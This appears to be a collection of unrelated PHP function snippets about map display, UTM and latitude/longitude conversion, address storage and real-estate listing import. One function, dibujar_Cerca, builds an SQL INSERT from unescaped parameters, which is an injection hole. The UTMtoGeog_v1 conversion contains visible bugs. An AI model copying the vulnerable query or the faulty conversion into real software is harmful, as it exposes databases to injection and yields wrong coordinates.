$map_info['xPixel'] = isset($_GET[\"xPixel\"]) ? $_GET[\"xPixel\"] : $_POST[\"xPixel\"];\n $map_info['yPixel'] = isset($_GET[\"yPixel\"]) ? $_GET[\"yPixel\"] : $_POST[\"yPixel\"];\n $map_info['xUTM'] = isset($_GET[\"xUTM\"]) ? $_GET[\"xUTM\"] : $_POST[\"xUTM\"];\n $map_info['yUTM'] = isset($_GET[\"yUTM\"]) ? $_GET[\"yUTM\"] : $_POST[\"yUTM\"];\n $map_info['londec'] = isset($_GET[\"londec\"]) ? $_GET[\"londec\"] : $_POST[\"londec\"];\n $map_info['latdec'] = isset($_GET[\"latdec\"]) ? $_GET[\"latdec\"] : $_POST[\"latdec\"];\n $map_info['lon'] = isset($_GET[\"lon\"]) ? $_GET[\"lon\"] : $_POST[\"lon\"];\n $map_info['lat'] = isset($_GET[\"lat\"]) ? $_GET[\"lat\"] : $_POST[\"lat\"];\n // - Zoom ó Dist\n $map_info['zoom'] = isset($_GET[\"zoom\"]) ? $_GET[\"zoom\"] : $_POST[\"zoom\"];\n $map_info['dist'] = isset($_GET[\"dist\"]) ? $_GET[\"dist\"] : $_POST[\"dist\"];\n if ( !isset($map_info['xPixel']) || !isset($map_info['yPixel'])) {\n $map_info['xPixel'] = 0;\n $map_info['yPixel'] = 0;\n }\n if ( !isset($map_info['zoom']) )\n $map_info['zoom'] = 0;\n\n \n // Comprovem les dades i les transformem en X, Y, S\n $map_info['width'] = $map_info['height'] = 500; // This variables will are in drupal\n $map_info['quadrants'] = 3; // This variables will are in drupal\n $image_info = guifi_get_image_info ( guifi_get_file_map_zone($node) );\n \n // Find max scale of de map to draw from zoom of this view\n $map_info['maxRel'] = $image_info['width'] / $map_info['width'];\n if ( $map_info['maxRel'] < $image_info['height'] / $map_info['height'] )\n $map_info['maxRel'] = $image_info['height'] / $map_info['height'];\n $map_info['maxScale'] = guifi_get_scale_relation ( $map_info['maxRel'] );\n if ( $node->valid ) {\n // Calcule dist of original map and his relation\n $point_zero = guifi_pixel2UTM ($node->coord, 0, 0);\n $point_right = guifi_pixel2UTM ($node->coord, $image_info['width']-1, 0);\n $point_bottom = guifi_pixel2UTM ($node->coord, 0, $image_info['height']-1);\n \n $map_info['distX'] = guifi_get_dist_UTM($point_zero[0], $point_zero[1], $point_right[0], $point_right[1]);\n $map_info['distY'] = guifi_get_dist_UTM($point_zero[0], $point_zero[1], $point_bottom[0], $point_bottom[1]);\n }\n\n // Find de scale to draw the map\n if ( $node->valid && isset($map_info['dist']) && is_numeric($map_info['dist']) ) {\n // Find scale of de map to draw from dist of this view\n $map_info['maxRel'] = ( $image_info['width'] * $map_info['dist'] ) / ( $map_info['distX'] * $map_info['width'] );\n if ( $map_info['maxRel'] < ( $image_info['height'] * $map_info['dist'] ) / ( $map_info['distY'] * $map_info['height'] ) )\n $map_info['maxRel'] = ( $image_info['height'] * $map_info['dist'] ) / ( $map_info['distY'] * $map_info['height'] );\n \n $map_info['scale'] = guifi_get_scale_relation ( $map_info['maxRel'] );\n if ( $map_info['scale'] > $map_info['maxScale'] ) \n $map_info['scale'] = $map_info['maxScale'];\n $map_info['zoom'] = $map_info['maxScale'] - $map_info['scale'];\n }\n if ( isset($map_info['zoom']) ) {\n // Recalcule de zoom to a correct zoom\n if ( $map_info['zoom'] > $map_info['maxScale'] )\n $map_info['zoom'] = $map_info['maxScale'];\n $map_info['scale'] = $map_info['maxScale'] - $map_info['zoom'];\n }\n \n if ( $node->valid ) {\n if ( isset($map_info['lon']) && isset($map_info['lat']) ) {\n // Transform Geo's corrdinates to UTM Coordinates\n $map_info['londec'] = text2Coord($map_info['lon']);\n $map_info['latdec'] = text2Coord($map_info['lat']);\n }\n if ( isset($map_info['londec']) && isset($map_info['latdec']) ) {\n // Transform Geo's corrdinates to UTM Coordinates\n $point = guifi_WG842UTM ($map_info['londec'], $map_info['latdec'], $map_info['datum'], $map_info['zone'], $map_info['nord']);\n $map_info['xUTM'] = $point[0];\n $map_info['yUTM'] = $point[1];\n }\n if ( isset($map_info['xUTM']) && isset($map_info['yUTM']) ) {\n // Transform UTM's corrdinates to Pixel Coordinates\n $point = guifi_UTM2pixel ($node->coord, $map_info['xUTM'], $map_info['yUTM']);\n $map_info['xPixel'] = $point[0];\n $map_info['yPixel'] = $point[1];\n }\n }\n\n // Find quadrants of de map scaled.\n $map_info['width_quadrant'] = $map_info['width'] / $map_info['quadrants'] ;\n $map_info['height_quadrant'] = $map_info['height'] / $map_info['quadrants'] ;\n $quadrantsX = ceil (( $image_info['width'] / guifi_get_rel_scale( $map_info['scale'] ) ) / $map_info['width_quadrant'] );\n $quadrantsY = ceil (( $image_info['height'] / guifi_get_rel_scale( $map_info['scale'] ) ) / $map_info['height_quadrant'] );\n\n // Find de quadrant center of de map scaled from pixel x,y in center.\n $quadCentX = floor (( $map_info['xPixel'] / guifi_get_rel_scale( $map_info['scale'] ) ) / $map_info['width_quadrant'] );\n $quadCentY = floor (( $map_info['yPixel'] / guifi_get_rel_scale( $map_info['scale'] ) ) / $map_info['height_quadrant'] );\n \n // Find de quadrant top-left of de map scaled from pixel x,y in center.\n $map_info['quadX'] = $quadCentX - floor( $map_info['quadrants'] / 2 );\n $map_info['quadY'] = $quadCentY - floor( $map_info['quadrants'] / 2 );\n if ( $map_info['quadX'] > $quadrantsX - $map_info['quadrants'] )\n $map_info['quadX'] = $quadrantsX - $map_info['quadrants'];\n if ( $map_info['quadY'] > $quadrantsY - $map_info['quadrants'] )\n $map_info['quadY'] = $quadrantsY - $map_info['quadrants'];\n if ( $map_info['quadX'] < 0 ) $map_info['quadX'] = 0;\n if ( $map_info['quadY'] < 0 ) $map_info['quadY'] = 0;\n\n // Recalcule the width and heigth of scaled image\n if ( $map_info['quadX'] >= $quadrantsX - $map_info['quadrants'] ) \n $map_info['width'] = floor( ($image_info['width'] / guifi_get_rel_scale( $map_info['scale'] )) - ( $map_info['quadX'] * $map_info['width_quadrant'] ));\n if ( $map_info['quadY'] >= $quadrantsY - $map_info['quadrants'] ) \n $map_info['height'] = floor( ($image_info['height'] / guifi_get_rel_scale( $map_info['scale'] )) - ( $map_info['quadY'] * $map_info['height_quadrant'] ));\n\n // Calculem la distància de la màxima de la imatge\n if ( $node->valid ) {\n if ( $map_info['width'] < $map_info['height'] )\n $map_info['dist'] = floor($map_info['distX'] * ( $map_info['width'] * guifi_get_rel_scale( $map_info['scale'] ) ) / $image_info['width']);\n else\n $map_info['dist'] = floor($map_info['distY'] * ( $map_info['height'] * guifi_get_rel_scale( $map_info['scale'] ) ) / $image_info['height']);\n }\n \n/*\n echo \"<br />quadrantsX: \".$quadrantsX;\n echo \"<br />quadrantsY: \".$quadrantsY;\n echo \"<br />map_width: \".$image_info['width'];\n echo \"<br />map_height: \".$image_info['height'];\n*/ \n/*\n echo \"<br />datum: \".$map_info['datum'];\n echo \"<br />zone: \".$map_info['zone'];\n echo \"<br />nord: \".$map_info['nord'];\n echo \"<br />zoom: \".$map_info['zoom'];\n echo \"<br />dist: \".$map_info['dist'];\n echo \"<br />scale: \".$map_info['scale'];\n echo \"<br />xPixel: \".$map_info['xPixel'];\n echo \"<br />yPixel: \".$map_info['yPixel'];\n echo \"<br />xUTM: \".$map_info['xUTM'];\n echo \"<br />yUTM: \".$map_info['yUTM'];\n echo \"<br />lon: \".$map_info['londec'];\n echo \"<br />lan: \".$map_info['latdec'];\n\n echo \"<br />quadX: \".$map_info['quadX'];\n echo \"<br />quadY: \".$map_info['quadY'];\n echo \"<br />width: \".$map_info['width'];\n echo \"<br />height: \".$map_info['height'];\n*/ \n\n return $map_info;\n}", "public function insertaDireccionGoogle($nombre_ciudad,\r\n $codigo_pais,$codigo_postal,$nombre_direccion,$latitud,$longitud) {\r\n \r\n $existeCiudadEnDB = $this->Panelcreador_model->existeCiudadEnDB($nombre_ciudad, $codigo_pais);\r\n\r\n if ( $existeCiudadEnDB === FALSE) {\r\n // insertamos la ciudad en su tabla y recojemos su ID\r\n $id_ciudad = $this->Panelcreador_model->nuevaCiudad($nombre_ciudad, $codigo_pais);\r\n } else {\r\n // NO tengo que insertarla pero guardo el ID de la ciudad\r\n $id_ciudad = $existeCiudadEnDB;\r\n }\r\n \r\n \r\n $direccionDelTaskojInsertada = $this->Panelcreador_model->insertarDireccionDeTaskoj($id_ciudad,\r\n $nombre_direccion,$latitud,$longitud,$codigo_postal);\r\n \r\n \r\n if ($direccionDelTaskojInsertada === FALSE){\r\n //hubo algun error en los datos proporcionados y no se pudo hacer la insercion\r\n $salida = FALSE;\r\n \r\n }else{\r\n // todo Ok devolvemos el ID direccion\r\n $salida = $direccionDelTaskojInsertada;\r\n }\r\n \r\n \r\n return $salida;\r\n \r\n \r\n }", "function __construct($map_file = \"\", $locaplic = \"\", $tema = \"\", $template = \"\")\n {\n include (dirname(__FILE__) . \"/../ms_configura.php\");\n $this->postgis_mapa = $postgis_mapa;\n include_once (dirname(__FILE__) . \"/funcoes_gerais.php\");\n include_once (dirname(__FILE__) . \"/classe_vermultilayer.php\");\n $this->v = versao();\n $this->v = $this->v[\"principal\"];\n $this->localaplicacao = $locaplic;\n if ($map_file == \"\") {\n return;\n }\n $this->mapa = ms_newMapObj($map_file);\n substituiConObj($this->mapa, $postgis_mapa);\n $this->arquivo = str_replace(\".map\", \"\", $map_file) . \".map\";\n\n if ($tema != \"\" && @$this->mapa->getlayerbyname($tema)) {\n $this->layer = $this->mapa->getlayerbyname($tema);\n $this->nome = $tema;\n $vermultilayer = new vermultilayer();\n $vermultilayer->verifica($map_file, $tema);\n if ($vermultilayer->resultado == 1) // o tema e multi layer\n {\n $ls = $vermultilayer->temas;\n $this->visiveis = $vermultilayer->temasvisiveis;\n } else {\n $ls[] = $tema;\n $this->visiveis = array(\n $tema\n );\n }\n $this->grupo = $ls;\n foreach ($ls as $l) {\n $t = $this->mapa->getlayerbyname($l);\n $this->indices[] = $t->index;\n }\n }\n if ($template == \"\") {\n $template = \"legenda.htm\";\n }\n if (file_exists($template)) {\n $this->templateleg = $template;\n return;\n }\n if (strtoupper(substr(PHP_OS, 0, 3) == 'WIN')) {\n $this->templateleg = $locaplic . \"\\\\aplicmap\\\\\" . $template;\n } else {\n $this->templateleg = $locaplic . \"/aplicmap/\" . $template;\n }\n }", "function UTMtoGeog_v1($Easting,$Northing,$UtmZone,$SouthofEquator=false) {\n\t//Declarations\n\t//Symbols as used in USGS PP 1395: Map Projections - A Working Manual\n\t$k0 = 0.9996;//scale on central meridian\n\t$a = 6378137.0;//equatorial radius, meters.\n\t$f = 1/298.2572236;//polar flattening.\n\t$b = $a*(1-$f);//polar axis.\n\t$e = sqrt(1 - $b*$b/$a*$a);//eccentricity\n\t$drad = pi()/180;//Convert degrees to radians)\n\t$phi = 0;//latitude (north +, south -), but uses phi in reference\n\t$e0 = $e/sqrt(1 - $e*$e);//e prime in reference\n\n\t$lng = 0;//Longitude (e = +, w = -)\n\t$lng0 = 0;//longitude of central meridian\n\t$lngd = 0;//longitude in degrees\n\t$M = 0;//M requires calculation\n\t$x = 0;//x coordinate\n\t$y = 0;//y coordinate\n\t$k = 1;//local scale\n\t$zcm = 0;//zone central meridian\n\t//End declarations\n\n\n\t//Convert UTM Coordinates to Geographic\n\n\t$k0 = 0.9996;//scale on central meridian\n\t$b = $a*(1-$f);//polar axis.\n\t$e = sqrt(1 - ($b/$a)*($b/$a));//eccentricity\n\t$e0 = $e/sqrt(1 - $e*$e);//Called e prime in reference\n\t$esq =(1 - ($b/$a)*($b/$a));//e squared for use in expansions\n\t$e0sq =$e*$e/(1-$e*$e);// e0 squared - always even powers\n\t$x = $Easting;\n\n\t/*\n\tif ($x<160000 || $x>840000)\n\t\techo \"($x,$y) Outside permissible range of easting values \\n Results may be unreliable \\n Use with caution\\n<br />\";\n\t$y = $Northing;\n\tif ($y<0)\n\t\techo \"Negative values not allowed \\n Results may be unreliable \\n Use with caution\\n\";\n\tif ($y>10000000)\n\t\techo \"Northing may not exceed 10,000,000 \\n Results may be unreliable \\n Use with caution\\n\";\n\t*/\n\n\t$zcm =3 + 6*($UtmZone-1) - 180;//Central meridian of zone\n\t$e1 =(1 - sqrt(1 - $e*$e))/(1 + sqrt(1 - $e*$e));//Called e1 in USGS PP 1395 also\n\t$M0 =0;//In case origin other than zero lat - not needed for standard UTM\n\t$M =$M0 + $y/$k0;//Arc length along standard meridian.\n\tif ($SouthofEquator === true)\n\t$M=$M0+($y-10000000)/$k;\n\t$mu =$M/($a*(1 - $esq*(1/4 + $esq*(3/64 + 5*$esq/256))));\n\t$phi1 =$mu + $e1*(3/2 - 27*$e1*$e1/32)*sin(2*$mu) + $e1*$e1*(21/16 -55*$e1*$e1/32)*sin(4*$mu);//Footprint Latitude\n\t$phi1 =$phi1 + $e1*$e1*$e1*(sin(6*$mu)*151/96 + $e1*sin(8*$mu)*1097/512);\n\t$C1 =$e0sq*pow(cos($phi1),2);\n\t$T1 =pow(tan($phi1),2);\n\t$N1 =$a/sqrt(1-pow($e*sin($phi1),2));\n\t$R1 =$N1*(1-$e*$e)/(1-pow($e*sin($phi1),2));\n\t$D =($x-500000)/($N1*$k0);\n\t$phi =($D*$D)*(1/2 - $D*$D*(5 + 3*$T1 + 10*$C1 - 4*$C1*$C1 - 9*$e0sq)/24);\n\t$phi =$phi + pow($D,6)*(61 + 90*$T1 + 298*$C1 + 45*$T1*$T1 -252*$e0sq - 3*$C1*$C1)/720;\n\t$phi =$phi1 - ($N1*tan($phi1)/$R1)*$phi;\n\t//Longitude\n\t$lng =$D*(1 + $D*$D*((-1 -2*$T1 -$C1)/6 + $D*$D*(5 - 2*$C1 + 28*$T1 - 3*$C1*$C1 +8*$e0sq + 24*$T1*$T1)/120))/cos($phi1);\n\t$lngd = $zcm+$lng/$drad;\n\n\treturn array(floor(1000000*$phi/$drad)/1000000,floor(1000000*$lngd)/1000000); //Latitude,Longitude\n\t}", "function cc_insert_record($offerta){\n\t\t\n\t// recupero post_id dell'agenzia, agente e autore da rif (prime due cifre)\n\t$aau = cc_get_agency($offerta->Riferimento); \n\t$agenzia = $aau['fave_property_agency']; \n\t$agente = $aau['fave_agents']; \n\t$user_id = $aau['post_author'];\n\n\t\n\t// POSTMETA - INDIRIZZO\n\t$map_address = $indirizzo = \"\";\n\t\n\t//$indirizzo = solo indirizzo (via e civico), map_adress = indirizzo completo con cap località e provincia per mappa\n\tif(!empty($offerta->Indirizzo)){\n\t\t$map_address .= (string) $offerta->Indirizzo;\n\t\t$indirizzo .= (string) $offerta->Indirizzo;\n\t}\n\tif(!empty($offerta->NrCivico)){\n\t\t$map_address .= (string) \" \".$offerta->NrCivico;\n\t\t$indirizzo .= (string) \" \".$offerta->NrCivico;\n\t}\n\t\n\t// compilo map_address con cap, località e provincia solo se l'indirizzo (via + civico) è compilato\n\t// se non lo è vuol dire che non deve essere resa noto l'indirizzo esatto dell'immobile\n\tif(!empty($offerta->Comune) and !empty($map_address)){\n\t\t\n\t\t$comune = (string) $offerta->Comune;\n\t\t$comune = trim($comune);\n\t\t$map_address .= \", \";\n\t\t\n\t\t$cp = cc_get_cap_prov($comune);\n\t\tif(!empty($cp)) $map_address .= $cp['cap'].\" \"; \t\t\n\t\t\n\t\t$map_address .= $comune;\n\t\tif(!empty($cp)) $map_address .= \" (\".$cp['prov'].\")\"; \n\t\t\n\t}else{\n\t\t\n\t\t$cp = array();\n\t\t\n\t}\n\t\n\t$map_address = trim($map_address);\n\tif($map_address[0] == ',') $map_address = substr($map_address, 2);\t\n\t\n\t$latitudine = (string) $offerta->Latitudine;\n\t$longitudine = (string) $offerta->Longitudine;\n\t\n\t// da cometa arriva con virgola decimale\n\tif(!empty($latitudine)) $latitudine = str_replace(\",\", \".\", $latitudine);;\n\tif(!empty($longitudine)) $longitudine = str_replace(\",\", \".\", $longitudine);;\n\n\tif(!empty($latitudine) and !empty($longitudine)){\n\t\t$map_coords = $latitudine .\", \". $longitudine;\t\t\n\t}else{\n\t\t$map_coords = \"\";\n\t}\n\t\n\t// Caratteristiche aggiuntive\n\t$af = array();\n\tif(!empty($offerta->Locali)){\n\t\t$af[] = array( \"fave_additional_feature_title\" => \"Locali\", \"fave_additional_feature_value\" => (string) $offerta->Locali);\n\t}\n\tif(!empty($offerta->Cucina)){\n\t\t$af[] = array( \"fave_additional_feature_title\" => \"Cucina\", \"fave_additional_feature_value\" => (string) $offerta->Cucina);\n\t}\n\tif(!empty($offerta->Box)){\n\t\t$af[] = array( \"fave_additional_feature_title\" => \"Box\", \"fave_additional_feature_value\" => (string) $offerta->Box);\n\t}\n\t$fave_additional_features_enable = (empty($af)) ? \"disable\" : \"enable\";\n\t\n\t// controllo se questo nuovo immobile deve essere messo in vetrina o meno e se sì tolgo vetrina a quello precedente\n\t//$vetrina = cc_ho_vetrina( (string) $offerta->IdAgenzia, (string) $offerta->Riferimento);\n\t\n\t// GESTIONE PREZZO / TRATTATIVA RISERVATA\n\t$prezzo = (string) $offerta->Prezzo;\n\t$flag_trattativa_riservata = (string) $offerta->TrattativaRiservata;\n\t\n\tif($flag_trattativa_riservata == '1'){\n\t\t$prezzo = \"Trattativa Riservata\";\n\t\t$fave_private_note = \"Prezzo richiesto €\".$prezzo;\t\t\n\t}else{\n\t\t$fave_private_note = \"\";\n\t}\n\t\n\t\t\n\t// META INPUT VARIABILI\n\t$meta_input = array(\n\t\t//\"fave_featured\" => $vetrina,\n\t\t\"fave_property_size\" => (int) $offerta->Mq, \n\t\t\"fave_property_bedrooms\" => (int) $offerta->Camere, \n\t\t\"fave_property_bathrooms\" => (int) $offerta->Bagni, \n\t\t\"fave_property_id\" => (string) $offerta->Riferimento, \n\t\t\"fave_property_price\" => $prezzo, \n\t\t\"fave_property_map_address\" => (string) $map_address, \n\t\t\"fave_property_location\" => $map_coords, \n\t\t\"fave_additional_features_enable\" => $fave_additional_features_enable,\n\t\t\"additional_features\" => $af,\n\t\t\"fave_property_address\" => $indirizzo,\n\t\t\"houzez_geolocation_lat\" => $latitudine,\n\t\t\"houzez_geolocation_long\" => $longitudine,\n\t\t\"fave_energy_class\" => (string) $offerta->Classe,\n\t\t\"fave_energy_global_index\" => (string) $offerta->IPE.\" \".$offerta->IPEUm, \n\t\t\"fave_private_note\" => $fave_private_note, \n\t\t\"_id_cometa\" => (string) $offerta->Idimmobile\n\t\t\n\t);\t\n\n\tif(!empty($cp)) $meta_input['fave_property_zip'] = $cp['cap'];\n\t\n\t// META INPUT VALORI FISSI\n\t$meta_input['slide_template'] = \"default\";\n\t$meta_input['fave_property_size_prefix'] = \"M²\";\n\t$meta_input['fave_property_country'] = \"IT\";\n\t$meta_input['fave_agents'] = $agente;\n\t$meta_input['fave_property_agency'] = $agenzia;\n\t$meta_input['fave_floor_plans_enable'] = \"disabled\";\n\t$meta_input['fave_agent_display_option'] = \"agent_info\";\n\t$meta_input['fave_payment_status'] = \"not_paid\";\n\t$meta_input['fave_property_map_street_view'] = \"hide\";\n\t$meta_input['houzez_total_property_views'] = \"0\";\n\t$meta_input['houzez_views_by_date'] = \"\";\n\t$meta_input['houzez_recently_viewed'] = \"\";\n\t$meta_input['fave_multiunit_plans_enable'] = \"disable\";\n\t$meta_input['fave_multi_units'] = \"\";\n\t$meta_input['fave_single_top_area'] = \"v2\";\n\t$meta_input['fave_single_content_area'] = \"global\";\n\t$meta_input['fave_property_land_postfix'] = \"M²\";\n\t$meta_input['fave_property_map'] = \"1\";\n\t\n\t// MANCANO FOTO, LE METTO DOPO\n\t\n\t$DataAggiornamento = new DateTime( (string) $offerta->DataAggiornamento ); // $offerta->DataAggiornamento formato 2018-07-25T00:00:00+01:00\n\t$post_modified = $DataAggiornamento->format(\"Y-m-d H:i:s\"); \t\n\t\n\t\n\t$posts_arg = array(\n\t\t\"post_author\" \t=> $user_id, \n\t\t\"post_content\" \t=> (string) $offerta->Descrizione,\n\t\t\"post_title\" \t=> (string) $offerta->Titolo,\n\t\t\"post_excerpt\" \t=> (string) $offerta->Descrizione,\n\t\t\"post_status\" \t=> \"publish\", \n\t\t\"post_type\" \t=> \"property\",\n\t\t\"post_modified\" => (string) $post_modified,\n\t\t\"post_modified_gmt\" => (string) $post_modified,\n\t\t\"comment_status\" \t=> \"closed\",\n\t\t\"ping_status\" \t=> \"closed\",\n\t\t\"guid\" \t\t \t=> wp_generate_uuid4(),\n\t\t\"meta_input\" \t=> $meta_input\n\t);\n\t\n\t// Restituisce l'ID del post se il post è stato aggiornato con success nel DB. Se no restituisce 0.\n\t$post_id = wp_insert_post( $posts_arg, true ); \n\t\n\tif (is_wp_error($post_id)) {\n\t\t$errors = $post_id->get_error_messages();\n\t\t$dbg = \"Errore durante insert record\\n\";\n\t\tforeach ($errors as $error) {\n\t\t\t$dbg .= $error.\"\\n\";\n\t\t}\n\t\treturn $dbg;\t\t\n\t}\n\t\n\t// continuo con inseriemnto foto e categorie\n\t\n\t$foto = array();\n\tfor($nf = 1; $nf < 16; $nf++){\n\t\t\n\t\t$foto_field = \"FOTO\".$nf;\n\t\t$foto_url = (string) $offerta->$foto_field;\n\t\tif(!empty($foto_url)) $foto[] = $foto_url;\n\t\t\n\t}\n\t\n\t// inserisce solo se le foto non sono ancora presenti, restituisce array con id posts delle foto nuove\n\t$foto_nuove = cc_import_images($foto, $post_id, true);\n\t\n\t// Se vi sono nuove foto le aggiungo alla tabella postmeta \n\tif(!empty($foto_nuove)){\n\t\tcc_insert_images_meta($foto_nuove, $post_id); // Non restituisce feedback\n\t}\n\t\n\t\t\n\t// GESTIONE CATEGORIE - SE IL VALORE CATEGORIE (TERM) NON ESISTE ANCORA VIENE AGGIUNTO \n\t\n\t// Categoria \"property_type\" (Appartamento, villa, box etc) - SINGOLO\n\t$property_type = (string) $offerta->Tipologia;\n\tif(!empty($property_type)) $property_type_results = cc_add_term_taxonomy($post_id, \"property_type\", array( $property_type ));\n\t\n\t// Categoria \"property_city\" (Città) - SINGOLO\n\t$property_city = (string) $offerta->Comune;\n\tif(!empty($property_city)) $property_city_results = cc_add_term_taxonomy($post_id, \"property_city\", array( $property_city ));\n\t\n\t\n\t// Categoria \"property_area\" (Zona / Quartiere) - SINGOLO\n\t$property_area = (string) $offerta->Quartiere;\n\t$property_area = trim($property_area);\n\tif(!empty($property_area)) $property_area_results = cc_add_term_taxonomy($post_id, \"property_area\", array( $property_area ));\t\n\t\n\t// Categoria \"property_feature\" (caratteristiche) - MULTI\n\t$property_feature = array();\n\tif(!empty($offerta->Box)) $property_feature[] = \"Box Auto\";\n\tif(!empty($offerta->Box)) $property_feature[] = \"Posto Auto\";\n\tif((string) $offerta->Terrazzo == '-1') $property_feature[] = \"Terrazzo\";\n\tif((string) $offerta->Balcone == '-1') $property_feature[] = \"Balcone\";\n\tif((string) $offerta->GiardinoCondominiale == '-1' or (string) $offerta->GiardinoPrivato == '-1' ) $property_feature[] = \"Giardino\";\n\t//if((string) $offerta->GiardinoPrivato == '-1') $property_feature[] = \"Giardino Privato\";\n\t\n\tif(!empty($property_feature)) $property_feature_results = cc_add_term_taxonomy($post_id, \"property_feature\", $property_feature );\n\t\n\t// FINITO INSERT RECORD\n\t\n\t// update configs xml\n\tcc_update_configs(\"inserted\", 1, true);\t\n\tcc_import_immobili_error_log(\"Inserted: \".$post_id);\n\t\n\treturn \"inserted\";\n\t\n}", "public static function crearMapa($nombre,$dificultad,$numMazmorras,$recompensa,$idUsuario,$descripcion)\n {\n $app = App::getSingleton();\n $conn = $app->conexionBd();\n $query = sprintf(\"INSERT INTO mapas (nombre,dificultad,numMazmorras,recompensa,propietario,descripcion) VALUES ('%s','%s','%s' , '%s', '%s','%s')\",\n $conn->real_escape_string($nombre), $conn->real_escape_string($dificultad),$conn->real_escape_string($numMazmorras),$conn->real_escape_string($recompensa),\n $conn->real_escape_string($idUsuario),$conn->real_escape_string($descripcion));\n\n $rs = $conn->query($query);\n if ($rs) {\n $query = sprintf(\"SELECT * FROM mapas WHERE id = (SELECT MAX(id) FROM mapas)\");\n $rs = $conn->query($query);\n \n if ($rs && $rs->num_rows >0) {\n $fila = $rs->fetch_assoc(); \n $mapa = new Mapa($fila['id'], $fila['nombre'], $fila['dificultad'], $fila['precio'], $fila['numMazmorras'],$fila['recompensa'],$fila['propietario'], $fila['rutaImagen'], $fila['descripcion'], $fila['valoracion'], $fila['numJugado'], $fila['terminadoCreado']);\n $rs->free();\n return $mapa;\n }\n }\n else{\n echo\"$conn->error\";\n return false;\n }\n }", "function ver_buscar_mapa($fid_string=\" \",$presenta=0,$idmapa=0,$intensidad){\n \n $plantilla = new DmpTemplate(\"../../../plantillas/stakeholder/mapa/ver_mapa.html\");\n \n //echo \"intensidad : $intensidad\";\n \n if($intensidad>0){\n $plantilla->iniciaBloque(\"intensidad\");\n }\n \n $imapa = new imapa();\n \n $result1 = $imapa->get_mapa();\n \n $nombres = array();\n \n $count=0;\n \n $modo=0;\n \n $color=array(\"#B19CD9\",\"#FF6961\",\"#77DD77\",\"#CFCFC4\",\"#FDFD96\");\n \n $stroke=array(\"#966FD6\",\"#C23B22\",\"#03C03C\",\"#836953\",\"#FFB347\");\n \n while($mapa= mysql_fetch_array($result1)){\n $count++;\n \n $plantilla->iniciaBloque(\"mapa\");\n $plantilla->reemplazaEnBloque(\"idmapa\", $mapa[idgis_mapa],\"mapa\");\n $plantilla->reemplazaEnBloque(\"nombre\", $mapa[nombre],\"mapa\");\n \n if( $mapa[idgis_mapa]==$idmapa || ( $mapa[predeterminado]>0 && $idmapa==0 ) ){\n \n $plantilla->reemplazaEnBloque(\"selected\", \"selected\",\"mapa\");\n \n $plantilla->reemplaza(\"frontera\", $mapa[frontera]);\n $plantilla->reemplaza(\"enfoque\", $mapa[enfoque]);\n $plantilla->reemplaza(\"resolucion\", $mapa[resolucion]);\n $plantilla->reemplaza(\"proyeccion\", $mapa[proyeccion]);\n $plantilla->reemplaza(\"unidad\", $mapa[unidad]);\n\n $i=0;\n $nombre=\"\";\n $result2 = $imapa->get_capa_mapa($mapa[idgis_mapa]);\n while($capa= mysql_fetch_array($result2)){\n $nombre=$capa[nombre];\n $nombres[$nombre]=$nombre;\n if($modo>0){\n $plantilla->iniciaBloque(\"capa\");\n $plantilla->reemplazaEnBloque(\"i\", $i, \"capa\");\n\n $plantilla->reemplazaEnBloque(\"nombre\", $nombre, \"capa\");\n\n\n $plantilla->reemplazaEnBloque(\"proyeccion\", $capa[proyeccion], \"capa\");\n if($capa[base]>0){\n $plantilla->reemplazaEnBloque(\"base\", \"true\", \"capa\");\n }else{\n \n $plantilla->reemplazaEnBloque(\"base\", \"false\", \"capa\");\n }\n }else{\n $plantilla->iniciaBloque(\"gml\"); \n $plantilla->reemplazaEnBloque(\"i\", $i, \"gml\");\n $plantilla->reemplazaEnBloque(\"nombre\", $nombre, \"gml\");\n $plantilla->reemplazaEnBloque(\"color\", $color[($i%5)], \"gml\");\n $plantilla->reemplazaEnBloque(\"stroke\", $stroke[($i%5)], \"gml\");\n if($capa[base]>0){\n $plantilla->reemplazaEnBloque(\"base\", \"true\", \"gml\");\n }else{ \n $plantilla->reemplazaEnBloque(\"base\", \"false\", \"gml\");\n }\n } \n $i++;\n }\n $capas=\" \";\n\n foreach ($nombres as $nombre){\n $capas .= $nombre.\",\";\n }\n\n\n $capas = substr($capas, 0, -1);\n\n\n $plantilla->reemplaza(\"i\", $i);\n $plantilla->reemplaza(\"nombre\", $nombre);\n $plantilla->reemplaza(\"capas\", $capas);\n $plantilla->reemplaza(\"fid_string\", $fid_string);\n \n }\n \n \n }\n \n if($count==0){\n $plantilla = new DmpTemplate(\"../../../plantillas/stakeholder/mapa/no_mapa.html\");\n }\n \n if($presenta>0){\n $plantilla->presentaPlantilla();\n }else{\n return $plantilla->getPlantillaCadena();\n }\n \n}", "function dibujar_Cerca($lat1,$lat2,$lat3,$lat4,$lng1,$lng2,$lng3,$lng4,$connection,$user,$name){\n\t$query = \"INSERT INTO id_cercas(lat1,lat2,lat3,lat4,lng1,lng2,lng3,lng4,user,name) VALUES('$lat1','$lat2','$lat3','$lat4','$lng1','$lng2','$lng3','$lng4','$user','$name')\";\n\t$resultado = $connection->query($query);\n\t\n}", "function guifi_UTM2LonLat ( $eastUTM, $nordUTM, $datum, $zone, $nord=TRUE ) {\n // Zona\n if ( $zone > 0 ) $zoneCM = 6 * $zone - 183;\n else $zoneCM = 3;\n $signe = ( $zone < 31 ) ? -1 : 1 ;\n if ( !$nord ) $nordUTM = 10000000 - $nordUTM;\n \n // Constants del datum\n $dat = guifi_get_datum($datum);\n $a = $dat[1];\n $b = $dat[2];\n $e = sqrt( 1 - (($b/$a) * ($b/$a)) );\n $e2 = ( $e * $e ) / ( 1 - $e * $e );\n $k0 = 0.9996;\n \n // Calcular peu de projecció de la latitud\n $arc = $nordUTM / $k0;\n $mu = $arc / ( $a * ( 1 - pow($e, 2) / 4 - 3 * pow($e, 4) / 64 - 5 * pow($e, 6) / 256 ) );\n $e1 = ( 1 - pow(1 - $e*$e, 0.5) ) / ( 1 + pow(1 - $e*$e, 0.5) );\n $C1 = 3 * $e1 / 2 - 27 * pow($e1, 3) / 32;\n $C2 = 21 * pow($e1, 2) / 16 - 5 * pow($e1, 4) / 32;\n $C3 = 151 * pow($e1, 3) / 96;\n $C4 = 1097 * pow($e1, 4) / 512;\n $fp = $mu + $C1 * sin(2*$mu) + $C2 * sin(4*$mu) + $C3 * sin(6*$mu) + $C4 * sin(8*$mu);\n \n // Formules de constants\n $C = $e2 * pow(cos($fp), 2);\n $T1 = pow(tan($fp), 2);\n $N1 = $a / pow( 1 - pow($e * sin($fp), 2), 0.5 );\n $R1 = $a * ( 1 - $e*$e ) / pow( 1 - pow($e * sin($fp), 2) , 1.5);\n $D = ( 500000 